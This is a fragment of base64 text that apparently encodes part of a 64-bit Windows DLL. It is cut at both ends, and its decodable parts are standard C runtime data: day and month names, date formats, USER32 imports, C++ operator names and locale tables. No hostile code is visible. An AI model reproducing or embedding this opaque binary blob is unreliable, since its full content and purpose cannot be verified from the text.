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29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgRUgAYFJUVEkAAAAAAAAAYGxvY2FsIHZmdGFibGUnAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnACBuZXdbXQAAAAAAACBkZWxldGVbXQAAAAAAAABgb21uaSBjYWxsc2lnJwAAYHBsYWNlbWVudCBkZWxldGUgY2xvc3VyZScAAAAAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBlaCB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAGBkeW5hbWljIGluaXRpYWxpemVyIGZvciAnAAAAAAAAYGR5bmFtaWMgYXRleGl0IGRlc3RydWN0b3IgZm9yICcAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgbWFuYWdlZCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAACBUeXBlIERlc2NyaXB0b3InAAAAAAAAACBCYXNlIENsYXNzIERlc2NyaXB0b3IgYXQgKAAAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIENsYXNzIEhpZXJhcmNoeSBEZXNjcmlwdG9yJwAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAAAaAgIaAgYAAABADhoCGgoAUBQVFRUWFhYUFAAAwMIBQgIgACAAoJzhQV4AABwA3MDBQUIgAAAAgKICIgIAAAABgaGBoaGgICAd4cHB3cHAICAAACAAIAAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgA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